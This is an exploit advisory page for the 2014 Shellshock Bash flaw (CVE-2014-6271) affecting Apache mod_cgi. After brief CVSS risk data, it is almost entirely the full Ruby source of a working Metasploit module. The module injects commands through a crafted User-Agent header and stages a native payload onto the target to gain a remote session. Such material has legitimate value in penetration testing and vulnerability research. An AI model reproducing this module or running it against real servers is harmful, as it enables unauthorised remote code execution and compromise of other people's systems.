Apache mod_cgi Bash Environment Variable Code Injection

2014.09.28
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', 'Description' => %q{ This module exploits a code injection in specially crafted environment variables in Bash, specifically targeting Apache mod_cgi scripts through the HTTP_USER_AGENT variable. }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'wvu', # Original Metasploit aux module 'juan vazquez' # Allow wvu's module to get native sessions ], 'References' => [ ['CVE', '2014-6271'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Targets' => [ [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => [ :echo, :printf ] } ], [ 'Linux x86_64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => [ :echo, :printf ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014', 'License' => MSF_LICENSE )) register_options([ OptString.new('TARGETURI', [true, 'Path to CGI script']), OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]), OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']), OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]) ], self.class) end def check res = req("echo #{marker}") if res && res.body.include?(marker * 3) Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds if generate_payload_exe.blank? fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") end execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true) # A last chance after the cmdstager # Trying to make it generic unless session_created? req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}") end end def execute_command(cmd, opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") req(cmd) end def req(cmd) send_request_cgi( { 'method' => datastore['METHOD'], 'uri' => normalize_uri(target_uri.path.to_s), 'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}" }, datastore['TIMEOUT']) end def marker @marker ||= rand_text_alphanumeric(rand(42) + 1) end end

References:

http://seclists.org/oss-sec/2014/q3/649


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